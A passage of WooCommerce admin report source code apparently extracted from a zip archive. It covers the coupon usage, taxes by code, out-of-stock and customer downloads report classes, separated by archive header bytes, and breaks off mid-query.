			'callback' => array( $this, 'coupons_widget' ),
		);

		return $widgets;
	}

	/**
	 * Output coupons widget.
	 */
	public function coupons_widget() {
		?>
		<h4 class="section_title"><span><?php esc_html_e( 'Filter by coupon', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<form method="GET">
				<div>
					<?php
					$used_coupons = $this->get_order_report_data(
						array(
							'data'         => array(
								'order_item_name' => array(
									'type'            => 'order_item',
									'order_item_type' => 'coupon',
									'function'        => '',
									'distinct'        => true,
									'name'            => 'order_item_name',
								),
							),
							'where'        => array(
								array(
									'key'      => 'order_item_type',
									'value'    => 'coupon',
									'operator' => '=',
								),
							),
							'query_type'   => 'get_col',
							'filter_range' => false,
						)
					);

					if ( ! empty( $used_coupons ) && is_array( $used_coupons ) ) :
						?>
						<select id="coupon_codes" name="coupon_codes" class="wc-enhanced-select" data-placeholder="<?php esc_attr_e( 'Choose coupons&hellip;', 'woocommerce' ); ?>" style="width:100%;">
							<option value=""><?php esc_html_e( 'All coupons', 'woocommerce' ); ?></option>
							<?php
							foreach ( $used_coupons as $coupon ) {
								echo '<option value="' . esc_attr( $coupon ) . '"' . wc_selected( $coupon, $this->coupon_codes ) . '>' . esc_html( $coupon ) . '</option>';
							}
							?>
						</select>
						<?php // @codingStandardsIgnoreStart ?>
						<button type="submit" class="submit button" value="<?php esc_attr_e( 'Show', 'woocommerce' ); ?>"><?php esc_html_e( 'Show', 'woocommerce' ); ?></button>
						<input type="hidden" name="range" value="<?php echo ( ! empty( $_GET['range'] ) ) ? esc_attr( wp_unslash( $_GET['range'] ) ) : ''; ?>" />
						<input type="hidden" name="start_date" value="<?php echo ( ! empty( $_GET['start_date'] ) ) ? esc_attr( wp_unslash( $_GET['start_date'] ) ) : ''; ?>" />
						<input type="hidden" name="end_date" value="<?php echo ( ! empty( $_GET['end_date'] ) ) ? esc_attr( wp_unslash( $_GET['end_date'] ) ) : ''; ?>" />
						<input type="hidden" name="page" value="<?php echo ( ! empty( $_GET['page'] ) ) ? esc_attr( wp_unslash( $_GET['page'] ) ) : ''; ?>" />
						<input type="hidden" name="tab" value="<?php echo ( ! empty( $_GET['tab'] ) ) ? esc_attr( wp_unslash( $_GET['tab'] ) ) : ''; ?>" />
						<input type="hidden" name="report" value="<?php echo ( ! empty( $_GET['report'] ) ) ? esc_attr( wp_unslash( $_GET['report'] ) ) : ''; ?>" />
						<?php // @codingStandardsIgnoreEnd ?>
					<?php else : ?>
						<span><?php esc_html_e( 'No used coupons found', 'woocommerce' ); ?></span>
					<?php endif; ?>
				</div>
			</form>
		</div>
		<h4 class="section_title"><span><?php esc_html_e( 'Most popular', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<table cellspacing="0">
				<?php
				$most_popular = $this->get_order_report_data(
					array(
						'data'         => array(
							'order_item_name' => array(
								'type'            => 'order_item',
								'order_item_type' => 'coupon',
								'function'        => '',
								'name'            => 'coupon_code',
							),
							'order_item_id'   => array(
								'type'            => 'order_item',
								'order_item_type' => 'coupon',
								'function'        => 'COUNT',
								'name'            => 'coupon_count',
							),
						),
						'where'        => array(
							array(
								'type'     => 'order_item',
								'key'      => 'order_item_type',
								'value'    => 'coupon',
								'operator' => '=',
							),
						),
						'order_by'     => 'coupon_count DESC',
						'group_by'     => 'order_item_name',
						'limit'        => 12,
						'query_type'   => 'get_results',
						'filter_range' => true,
					)
				);

				if ( ! empty( $most_popular ) && is_array( $most_popular ) ) {
					foreach ( $most_popular as $coupon ) {
						echo '<tr class="' . ( in_array( $coupon->coupon_code, $this->coupon_codes ) ? 'active' : '' ) . '">
							<td class="count" width="1%">' . esc_html( $coupon->coupon_count ) . '</td>
							<td class="name"><a href="' . esc_url( add_query_arg( 'coupon_codes', $coupon->coupon_code ) ) . '">' . esc_html( $coupon->coupon_code ) . '</a></td>
						</tr>';
					}
				} else {
					echo '<tr><td colspan="2">' . esc_html__( 'No coupons found in range', 'woocommerce' ) . '</td></tr>';
				}
				?>
			</table>
		</div>
		<h4 class="section_title"><span><?php esc_html_e( 'Most discount', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<table cellspacing="0">
				<?php
				$most_discount = $this->get_order_report_data(
					array(
						'data'         => array(
							'order_item_name' => array(
								'type'            => 'order_item',
								'order_item_type' => 'coupon',
								'function'        => '',
								'name'            => 'coupon_code',
							),
							'discount_amount' => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'coupon',
								'function'        => 'SUM',
								'name'            => 'discount_amount',
							),
						),
						'where'        => array(
							array(
								'type'     => 'order_item',
								'key'      => 'order_item_type',
								'value'    => 'coupon',
								'operator' => '=',
							),
						),
						'order_by'     => 'discount_amount DESC',
						'group_by'     => 'order_item_name',
						'limit'        => 12,
						'query_type'   => 'get_results',
						'filter_range' => true,
					)
				);

				if ( ! empty( $most_discount ) && is_array( $most_discount ) ) {
					foreach ( $most_discount as $coupon ) {
						// @codingStandardsIgnoreStart
						echo '<tr class="' . ( in_array( $coupon->coupon_code, $this->coupon_codes ) ? 'active' : '' ) . '">
							<td class="count" width="1%">' . wc_price( $coupon->discount_amount ) . '</td>
							<td class="name"><a href="' . esc_url( add_query_arg( 'coupon_codes', $coupon->coupon_code ) ) . '">' . esc_html( $coupon->coupon_code ) . '</a></td>
						</tr>';
						// @codingStandardsIgnoreEnd
					}
				} else {
					echo '<tr><td colspan="3">' . esc_html__( 'No coupons found in range', 'woocommerce' ) . '</td></tr>';
				}
				?>
			</table>
		</div>
		<script type="text/javascript">
			jQuery( '.section_title' ).on( 'click', function() {
				var next_section = jQuery( this ).next( '.section' );

				if ( jQuery( next_section ).is( ':visible' ) ) {
					return false;
				}

				jQuery( '.section:visible' ).slideUp();
				jQuery( '.section_title' ).removeClass( 'open' );
				jQuery( this ).addClass( 'open' ).next( '.section' ).slideDown();

				return false;
			} );
			jQuery( '.section' ).slideUp( 100, function() {
				<?php if ( empty( $this->coupon_codes ) ) : ?>
					jQuery( '.section_title:eq(1)' ).trigger( 'click' );
				<?php else : ?>
					jQuery( '.section_title:eq(0)' ).trigger( 'click' );
				<?php endif; ?>
			} );
		</script>
		<?php
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {
		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="chart"
			data-xaxes="<?php esc_attr_e( 'Date', 'woocommerce' ); ?>"
			data-groupby="<?php echo esc_attr( $this->chart_groupby ); ?>"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wp_locale;

		// Get orders and dates in range - we want the SUM of order totals, COUNT of order items, COUNT of orders, and the date.
		$order_coupon_counts_query = array(
			'data'         => array(
				'order_item_name' => array(
					'type'            => 'order_item',
					'order_item_type' => 'coupon',
					'function'        => 'COUNT',
					'name'            => 'order_coupon_count',
				),
				'post_date'       => array(
					'type'     => 'post_data',
					'function' => '',
					'name'     => 'post_date',
				),
			),
			'where'        => array(
				array(
					'key'      => 'order_item_type',
					'value'    => 'coupon',
					'operator' => '=',
				),
			),
			'group_by'     => $this->group_by_query,
			'order_by'     => 'post_date ASC',
			'query_type'   => 'get_results',
			'filter_range' => true,
			'order_types'  => wc_get_order_types( 'order-count' ),
		);

		$order_discount_amounts_query = array(
			'data'         => array(
				'discount_amount' => array(
					'type'            => 'order_item_meta',
					'order_item_type' => 'coupon',
					'function'        => 'SUM',
					'name'            => 'discount_amount',
				),
				'post_date'       => array(
					'type'     => 'post_data',
					'function' => '',
					'name'     => 'post_date',
				),
			),
			'where'        => array(
				array(
					'key'      => 'order_item_type',
					'value'    => 'coupon',
					'operator' => '=',
				),
			),
			'group_by'     => $this->group_by_query . ', order_item_name',
			'order_by'     => 'post_date ASC',
			'query_type'   => 'get_results',
			'filter_range' => true,
			'order_types'  => wc_get_order_types( 'order-count' ),
		);

		if ( ! empty( $this->coupon_codes ) ) {
			$coupon_code_query = array(
				'type'     => 'order_item',
				'key'      => 'order_item_name',
				'value'    => $this->coupon_codes,
				'operator' => 'IN',
			);

			$order_coupon_counts_query['where'][]    = $coupon_code_query;
			$order_discount_amounts_query['where'][] = $coupon_code_query;
		}

		$order_coupon_counts    = $this->get_order_report_data( $order_coupon_counts_query );
		$order_discount_amounts = $this->get_order_report_data( $order_discount_amounts_query );

		// Prepare data for report.
		$order_coupon_counts    = $this->prepare_chart_data( $order_coupon_counts, 'post_date', 'order_coupon_count', $this->chart_interval, $this->start_date, $this->chart_groupby );
		$order_discount_amounts = $this->prepare_chart_data( $order_discount_amounts, 'post_date', 'discount_amount', $this->chart_interval, $this->start_date, $this->chart_groupby );

		// Encode in json format.
		$chart_data = wp_json_encode(
			array(
				'order_coupon_counts'    => array_values( $order_coupon_counts ),
				'order_discount_amounts' => array_values( $order_discount_amounts ),
			)
		);
		?>
		<div class="chart-container">
			<div class="chart-placeholder main"></div>
		</div>
		<script type="text/javascript">
			var main_chart;

			jQuery(function(){
				var order_data = JSON.parse( decodeURIComponent( '<?php echo rawurlencode( $chart_data ); ?>' ) );

				var drawGraph = function( highlight ) {
					var series = [
						{
							label: "<?php echo esc_js( __( 'Number of coupons used', 'woocommerce' ) ); ?>",
							data: order_data.order_coupon_counts,
							color: '<?php echo esc_js( $this->chart_colours['coupon_count'] ); ?>',
							bars: { fillColor: '<?php echo esc_js( $this->chart_colours['coupon_count'] ); ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo esc_js( $this->barwidth ); ?> * 0.5, align: 'center' },
							shadowSize: 0,
							hoverable: false
						},
						{
							label: "<?php echo esc_js( __( 'Discount amount', 'woocommerce' ) ); ?>",
							data: order_data.order_discount_amounts,
							yaxis: 2,
							color: '<?php echo esc_js( $this->chart_colours['discount_amount'] ); ?>',
							points: { show: true, radius: 5, lineWidth: 3, fillColor: '#fff', fill: true },
							lines: { show: true, lineWidth: 4, fill: false },
							shadowSize: 0,
							<?php echo $this->get_currency_tooltip(); ?><?php // @codingStandardsIgnoreLine ?>
						}
					];

					if ( highlight !== 'undefined' && series[ highlight ] ) {
						highlight_series = series[ highlight ];

						highlight_series.color = '#9c5d90';

						if ( highlight_series.bars )
							highlight_series.bars.fillColor = '#9c5d90';

						if ( highlight_series.lines ) {
							highlight_series.lines.lineWidth = 5;
						}
					}

					main_chart = jQuery.plot(
						jQuery('.chart-placeholder.main'),
						series,
						{
							legend: {
								show: false
							},
							grid: {
								color: '#aaa',
								borderColor: 'transparent',
								borderWidth: 0,
								hoverable: true
							},
							xaxes: [ {
								color: '#aaa',
								position: "bottom",
								tickColor: 'transparent',
								mode: "time",
								timeformat: "<?php echo ( 'day' === $this->chart_groupby ) ? '%d %b' : '%b'; ?>",
								monthNames: JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( array_values( $wp_locale->month_abbrev ) ) ); ?>' ) ),
								tickLength: 1,
								minTickSize: [1, "<?php echo esc_js( $this->chart_groupby ); ?>"],
								font: {
									color: "#aaa"
								}
							} ],
							yaxes: [
								{
									min: 0,
									minTickSize: 1,
									tickDecimals: 0,
									color: '#ecf0f1',
									font: { color: "#aaa" }
								},
								{
									position: "right",
									min: 0,
									tickDecimals: 2,
									alignTicksWithAxis: 1,
									color: 'transparent',
									font: { color: "#aaa" }
								}
							],
						}
					);

					jQuery('.chart-placeholder').trigger( 'resize' );
				}

				drawGraph();

				jQuery('.highlight_series').on( 'mouseenter',
					function() {
						drawGraph( jQuery(this).data('series') );
					} ).on( 'mouseleave',
					function() {
						drawGraph();
					}
				);
			});
		</script>
		<?php
	}
}
PK�3\ND�I I )reports/class-wc-report-taxes-by-code.phpnu�[���<?php
/**
 * Taxes by tax code report.
 *
 * @package     WooCommerce\Admin\Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Taxes_By_Code
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Taxes_By_Code extends WC_Admin_Report {

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		return array();
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : 'last_month';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="table"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : 'last_month';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ) ) ) {
			$current_range = 'last_month';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		$hide_sidebar = true;

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wpdb;

		$query_data = array(
			'order_item_name'     => array(
				'type'     => 'order_item',
				'function' => '',
				'name'     => 'tax_rate',
			),
			'tax_amount'          => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'tax_amount',
			),
			'shipping_tax_amount' => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'shipping_tax_amount',
			),
			'rate_id'             => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'rate_id',
			),
			'ID'                  => array(
				'type'     => 'post_data',
				'function' => '',
				'name'     => 'post_id',
			),
		);

		$query_where = array(
			array(
				'key'      => 'order_item_type',
				'value'    => 'tax',
				'operator' => '=',
			),
			array(
				'key'      => 'order_item_name',
				'value'    => '',
				'operator' => '!=',
			),
		);

		// We exclude on-hold orders as they are still pending payment.
		$tax_rows_orders = $this->get_order_report_data(
			array(
				'data'         => $query_data,
				'where'        => $query_where,
				'order_by'     => 'posts.post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'sales-reports' ),
				'order_status' => array( 'completed', 'processing', 'refunded' ),
			)
		);

		$tax_rows_partial_refunds = $this->get_order_report_data(
			array(
				'data'                => $query_data,
				'where'               => $query_where,
				'order_by'            => 'posts.post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'completed', 'processing' ), // Partial refunds inside refunded orders should be ignored.
			)
		);

		$tax_rows_full_refunds = $this->get_order_report_data(
			array(
				'data'                => $query_data,
				'where'               => $query_where,
				'order_by'            => 'posts.post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'refunded' ),
			)
		);

		// Merge.
		$tax_rows = array();

		foreach ( $tax_rows_orders + $tax_rows_partial_refunds as $tax_row ) {
			$key                                    = $tax_row->rate_id;
			$tax_rows[ $key ]                       = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_orders'        => 0,
			);
			$tax_rows[ $key ]->total_orders        += 1;
			$tax_rows[ $key ]->tax_rate             = $tax_row->tax_rate;
			$tax_rows[ $key ]->tax_amount          += wc_round_tax_total( $tax_row->tax_amount );
			$tax_rows[ $key ]->shipping_tax_amount += wc_round_tax_total( $tax_row->shipping_tax_amount );
		}

		foreach ( $tax_rows_full_refunds as $tax_row ) {
			$key                                    = $tax_row->rate_id;
			$tax_rows[ $key ]                       = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_orders'        => 0,
			);
			$tax_rows[ $key ]->tax_rate             = $tax_row->tax_rate;
			$tax_rows[ $key ]->tax_amount          += wc_round_tax_total( $tax_row->tax_amount );
			$tax_rows[ $key ]->shipping_tax_amount += wc_round_tax_total( $tax_row->shipping_tax_amount );
		}
		?>
		<table class="widefat">
			<thead>
				<tr>
					<th><?php esc_html_e( 'Tax', 'woocommerce' ); ?></th>
					<th><?php esc_html_e( 'Rate', 'woocommerce' ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Number of orders', 'woocommerce' ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Tax amount', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the sum of the "Tax rows" tax amount within your orders.', 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Shipping tax amount', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the sum of the "Tax rows" shipping tax amount within your orders.', 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Total tax', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the total tax for the rate (shipping tax + product tax).', 'woocommerce' ) ); ?></th>
				</tr>
			</thead>
			<?php if ( ! empty( $tax_rows ) ) : ?>
				<tbody>
					<?php
					foreach ( $tax_rows as $rate_id => $tax_row ) {
						$rate = $wpdb->get_var( $wpdb->prepare( "SELECT tax_rate FROM {$wpdb->prefix}woocommerce_tax_rates WHERE tax_rate_id = %d;", $rate_id ) );
						?>
						<tr>
							<th scope="row"><?php echo wp_kses_post( apply_filters( 'woocommerce_reports_taxes_tax_rate', $tax_row->tax_rate, $rate_id, $tax_row ) ); ?></th>
							<td><?php echo wp_kses_post( apply_filters( 'woocommerce_reports_taxes_rate', $rate, $rate_id, $tax_row ) ); ?>%</td>
							<td class="total_row"><?php echo esc_html( $tax_row->total_orders ); ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->tax_amount ); // phpcs:ignore ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->shipping_tax_amount ); // phpcs:ignore ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->tax_amount + $tax_row->shipping_tax_amount ); // phpcs:ignore ?></td>
						</tr>
						<?php
					}
					?>
				</tbody>
				<tfoot>
					<tr>
						<th scope="row" colspan="3"><?php esc_html_e( 'Total', 'woocommerce' ); ?></th>
						<th class="total_row"><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'tax_amount' ) ) ) ); // phpcs:ignore ?></th>
						<th class="total_row"><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'shipping_tax_amount' ) ) ) ); // phpcs:ignore ?></th>
						<th class="total_row"><strong><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'tax_amount' ) ) + array_sum( wp_list_pluck( (array) $tax_rows, 'shipping_tax_amount' ) ) ) ); // phpcs:ignore ?></strong></th>
					</tr>
				</tfoot>
			<?php else : ?>
				<tbody>
					<tr>
						<td><?php esc_html_e( 'No taxes found in this period', 'woocommerce' ); ?></td>
					</tr>
				</tbody>
			<?php endif; ?>
		</table>
		<?php
	}
}
PK�3\����{{(reports/class-wc-report-out-of-stock.phpnu�[���<?php
/**
 * WC_Report_Out_Of_Stock.
 *
 * @package WooCommerce\Admin\Reports
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WC_Report_Stock' ) ) {
	require_once dirname( __FILE__ ) . '/class-wc-report-stock.php';
}

/**
 * WC_Report_Out_Of_Stock class.
 */
class WC_Report_Out_Of_Stock extends WC_Report_Stock {

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No out of stock products found.', 'woocommerce' );
	}

	/**
	 * Get Products matching stock criteria.
	 *
	 * @param int $current_page Current page number.
	 * @param int $per_page How many results to show per page.
	 */
	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this->max_items = 0;
		$this->items     = array();

		$stock = absint( max( get_option( 'woocommerce_notify_no_stock_amount' ), 0 ) );

		$query_from = apply_filters(
			'woocommerce_report_out_of_stock_query_from',
			$wpdb->prepare(
				"
				FROM {$wpdb->posts} as posts
				INNER JOIN {$wpdb->wc_product_meta_lookup} AS lookup ON posts.ID = lookup.product_id
				WHERE 1=1
				AND posts.post_type IN ( 'product', 'product_variation' )
				AND posts.post_status = 'publish'
				AND lookup.stock_quantity <= %d
				",
				$stock
			)
		);

		$this->items     = $wpdb->get_results( $wpdb->prepare( "SELECT SQL_CALC_FOUND_ROWS posts.ID as id, posts.post_parent as parent {$query_from} ORDER BY posts.post_title DESC LIMIT %d, %d;", ( $current_page - 1 ) * $per_page, $per_page ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		$this->max_items = $wpdb->get_var( 'SELECT FOUND_ROWS();' ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}
}
PK�3\w���)�)%reports/class-wc-report-downloads.phpnu�[���<?php
/**
 * Download report.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Reports
 * @version     3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * WC_Report_Downloads.
 */
class WC_Report_Downloads extends WP_List_Table {

	/**
	 * Max items.
	 *
	 * @var int
	 */
	protected $max_items;

	/**
	 * Constructor.
	 */
	public function __construct() {

		parent::__construct(
			array(
				'singular' => 'download',
				'plural'   => 'downloads',
				'ajax'     => false,
			)
		);
	}

	/**
	 * Don't need this.
	 *
	 * @param string $position Top or bottom.
	 */
	public function display_tablenav( $position ) {
		if ( 'top' !== $position ) {
			parent::display_tablenav( $position );
		}
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$this->prepare_items();

		// Subtitle for permission if set.
		if ( ! empty( $_GET['permission_id'] ) ) { // WPCS: input var ok.
			$permission_id = absint( $_GET['permission_id'] ); // WPCS: input var ok.

			// Load the permission, order, etc. so we can render more information.
			$permission = null;
			$product    = null;

			try {
				$permission = new WC_Customer_Download( $permission_id );
				$product    = wc_get_product( $permission->product_id );
			} catch ( Exception $e ) {
				wp_die( sprintf( esc_html__( 'Permission #%d not found.', 'woocommerce' ), esc_html( $permission_id ) ) );
			}
		}

		echo '<h1>' . esc_html__( 'Customer downloads', 'woocommerce' );

		$filters      = $this->get_filter_vars();
		$filter_list  = array();
		$filter_names = array(
			'product_id'      => __( 'Product', 'woocommerce' ),
			'download_id'     => __( 'File ID', 'woocommerce' ),
			'permission_id'   => __( 'Permission ID', 'woocommerce' ),
			'order_id'        => __( 'Order', 'woocommerce' ),
			'user_id'         => __( 'User', 'woocommerce' ),
			'user_ip_address' => __( 'IP address', 'woocommerce' ),
		);

		foreach ( $filters as $key => $value ) {
			if ( is_null( $value ) ) {
				continue;
			}
			switch ( $key ) {
				case 'order_id':
					$order = wc_get_order( $value );
					if ( $order ) {
						$display_value = _x( '#', 'hash before order number', 'woocommerce' ) . $order->get_order_number();
					} else {
						break 2;
					}
					break;
				case 'product_id':
					$product = wc_get_product( $value );
					if ( $product ) {
						$display_value = $product->get_formatted_name();
					} else {
						break 2;
					}
					break;
				default:
					$display_value = $value;
					break;
			}
			$filter_list[] = $filter_names[ $key ] . ' ' . $display_value . ' <a href="' . esc_url( remove_query_arg( $key ) ) . '" class="woocommerce-reports-remove-filter">&times;</a>';
		}

		echo '</h1>';

		echo '<div id="active-filters" class="woocommerce-reports-wide"><h2>';
		echo esc_html__( 'Active filters', 'woocommerce' ) . ': ';
		echo $filter_list ? wp_kses_post( implode( ', ', $filter_list ) ) : '';
		echo '</h2></div>';

		echo '<div id="poststuff" class="woocommerce-reports-wide">';
		$this->display();
		echo '</div>';
	}

	/**
	 * Get column value.
	 *
	 * @param mixed  $item Item being displayed.
	 * @param string $column_name Column name.
	 */
	public function column_default( $item, $column_name ) {
		$permission = null;
		$product    = null;
		try {
			$permission = new WC_Customer_Download( $item->permission_id );
			$product    = wc_get_product( $permission->product_id );
		} catch ( Exception $e ) {
			// Ok to continue rendering other information even if permission and/or product is not found.
			return;
		}

		switch ( $column_name ) {
			case 'timestamp':
				echo esc_html( $item->timestamp );
				break;
			case 'product':
				if ( ! empty( $product ) ) {
					edit_post_link( esc_html( $product->get_formatted_name() ), '', '', $product->get_id(), 'view-link' );

					echo '<div class="row-actions">';
					echo '<a href="' . esc_url( add_query_arg( 'product_id', $product->get_id() ) ) . '">' . esc_html__( 'Filter by product', 'woocommerce' ) . '</a>';
					echo '</div>';
				}
				break;
			case 'file':
				if ( ! empty( $permission ) && ! empty( $product ) ) {
					// File information.
					$file = $product->get_file( $permission->get_download_id() );

					if ( false === $file ) {
						echo esc_html__( 'File does not exist', 'woocommerce' );
					} else {
						echo esc_html( $file->get_name() . ' - ' . basename( $file->get_file() ) );

						echo '<div class="row-actions">';
						echo '<a href="' . esc_url( add_query_arg( 'download_id', $permission->get_download_id() ) ) . '">' . esc_html__( 'Filter by file', 'woocommerce' ) . '</a>';
						echo '</div>';
					}
				}
				break;
			case 'order':
				if ( ! empty( $permission ) && ( $order = wc_get_order( $permission->order_id ) ) ) {
					edit_post_link( esc_html( _x( '#', 'hash before order number', 'woocommerce' ) . $order->get_order_number() ), '', '', $permission->order_id, 'view-link' );

					echo '<div class="row-actions">';
					echo '<a href="' . esc_url( add_query_arg( 'order_id', $order->get_id() ) ) . '">' . esc_html__( 'Filter by order', 'woocommerce' ) . '</a>';
					echo '</div>';
				}
				break;
			case 'user':
				if ( $item->user_id > 0 ) {
					$user = get_user_by( 'id', $item->user_id );

					if ( ! empty( $user ) ) {
						echo '<a href="' . esc_url( get_edit_user_link( $item->user_id ) ) . '">' . esc_html( $user->display_name ) . '</a>';
						echo '<div class="row-actions">';
						echo '<a href="' . esc_url( add_query_arg( 'user_id', $item->user_id ) ) . '">' . esc_html__( 'Filter by user', 'woocommerce' ) . '</a>';
						echo '</div>';
					}
				} else {
					esc_html_e( 'Guest', 'woocommerce' );
				}
				break;
			case 'user_ip_address':
				echo esc_html( $item->user_ip_address );

				echo '<div class="row-actions">';
				echo '<a href="' . esc_url( add_query_arg( 'user_ip_address', $item->user_ip_address ) ) . '">' . esc_html__( 'Filter by IP address', 'woocommerce' ) . '</a>';
				echo '</div>';
				break;
		}
	}

	/**
	 * Get columns.
	 *
	 * @return array
	 */
	public function get_columns() {
		$columns = array(
			'timestamp'       => __( 'Timestamp', 'woocommerce' ),
			'product'         => __( 'Product', 'woocommerce' ),
			'file'            => __( 'File', 'woocommerce' ),
			'order'           => __( 'Order', 'woocommerce' ),
			'user'            => __( 'User', 'woocommerce' ),
			'user_ip_address' => __( 'IP address', 'woocommerce' ),
		);

		return $columns;
	}

	/**
	 * Prepare download list items.
	 */
	public function prepare_items() {

		$this->_column_headers = array( $this->get_columns(), array(), $this->get_sortable_columns() );
		$current_page          = absint( $this->get_pagenum() );
		// Allow filtering per_page value, but ensure it's at least 1.
		$per_page = max( 1, apply_filters( 'woocommerce_admin_downloads_report_downloads_per_page', 20 ) );

		$this->get_items( $current_page, $per_page );

		/**
		 * Pagination.
		 */
		$this->set_pagination_args(
			array(
				'total_items' => $this->max_items,
				'per_page'    => $per_page,
				'total_pages' => ceil( $this->max_items / $per_page ),
			)
		);
	}

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No customer downloads found.', 'woocommerce' );
	}

	/**
	 * Get filters from querystring.
	 *
	 * @return object
	 */
	protected function get_filter_vars() {
		$product_id      = ! empty( $_GET['product_id'] ) ? absint( wp_unslash( $_GET['product_id'] ) ) : null; // WPCS: input var ok.
		$download_id     = ! empty( $_GET['download_id'] ) ? wc_clean( wp_unslash( $_GET['download_id'] ) ) : null; // WPCS: input var ok.
		$permission_id   = ! empty( $_GET['permission_id'] ) ? absint( wp_unslash( $_GET['permission_id'] ) ) : null; // WPCS: input var ok.
		$order_id        = ! empty( $_GET['order_id'] ) ? absint( wp_unslash( $_GET['order_id'] ) ) : null; // WPCS: input var ok.
		$user_id         = ! empty( $_GET['user_id'] ) ? absint( wp_unslash( $_GET['user_id'] ) ) : null; // WPCS: input var ok.
		$user_ip_address = ! empty( $_GET['user_ip_address'] ) ? wc_clean( wp_unslash( $_GET['user_ip_address'] ) ) : null; // WPCS: input var ok.

		return (object) array(
			'product_id'      => $product_id,
			'download_id'     => $download_id,
			'permission_id'   => $permission_id,
			'order_id'        => $order_id,
			'user_id'         => $user_id,
			'user_ip_address' => $user_ip_address,
		);
	}

	/**
	 * Get downloads matching criteria.
	 *
	 * @param int $current_page Current viewed page.
	 * @param int $per_page How many results to show per page.
	 */
	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this->max_items = 0;
		$this->items     = array();
		$filters         = $this->get_filter_vars();

		// Get downloads from database.
		$table      = $wpdb->prefix . WC_Customer_Download_Log_Data_Store::get_table_name();
		$query_from = " FROM {$table} as downloads ";

		if ( ! is_null( $filters->product_id ) || ! is_null( $filters->download_id ) || ! is_null( $filters->order_id ) ) {
			$query_from .= " LEFT JOIN {$wpdb->prefix}woocommerce_downloadable_product_permissions as permissions on downloads.permission_id = permissions.permission_id ";
		}

		$query_from .= ' WHERE 1=1 ';

		if ( ! is_null( $filters->product_id ) ) {
			$query_from .= $wpdb->prepare( ' AND product_id = %d ', $filters->product_id );
